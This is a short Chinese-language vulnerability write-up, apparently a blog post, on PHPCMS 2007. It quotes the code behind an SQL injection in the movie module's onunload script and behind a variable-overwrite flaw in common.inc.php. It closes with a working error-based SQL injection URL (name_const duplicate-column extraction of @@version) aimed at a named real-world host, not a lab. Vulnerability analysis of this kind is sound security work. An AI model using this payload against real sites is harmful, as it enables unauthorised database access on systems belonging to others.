下载了一套phpcms 2007进行分析,在modulemovieonunload.inc.php里发现了一个update型的注入。
<!--?php defined('IN_PHPCMS') or exit('Access Denied'); $serverid ? 1 : showmessage($LANG['illegal_operation']); $db--->query("UPDATE ".TABLE_MOVIE_SERVER." SET `num` = (num-1) WHERE serverid = $serverid AND num > 0 "); ?>
$serverid没有进行任何过滤也没有用单引号括起来,所以无视gpc。
核心文件includecommon.inc.php里大概80左右变量覆盖漏洞。
if($PHP_QUERYSTRING && preg_match("/^(.*).(htm|html|shtm|shtml)$/", $PHP_QUERYSTRING, $urlvar)) { parse_str(str_replace(array('/', '-', ' '), array('&', '=', ''), $urlvar[1])); }
这个判断太弱了,判断querystring是不是等于静态文件后缀,结尾随便加个参数赋个静态文件的值就过了,经过parse_str就产生了。
漏洞太多了不继续分析了。
exp:
http://weather.cctv.com/cms/movie/onunload.php?serverid=1+and+exists%28select*from+%28select*from%28select+name_const%28@@version,0%29%29a+join+%28select+name_const%28@@version,0%29%29b%29c%29
评论 (0)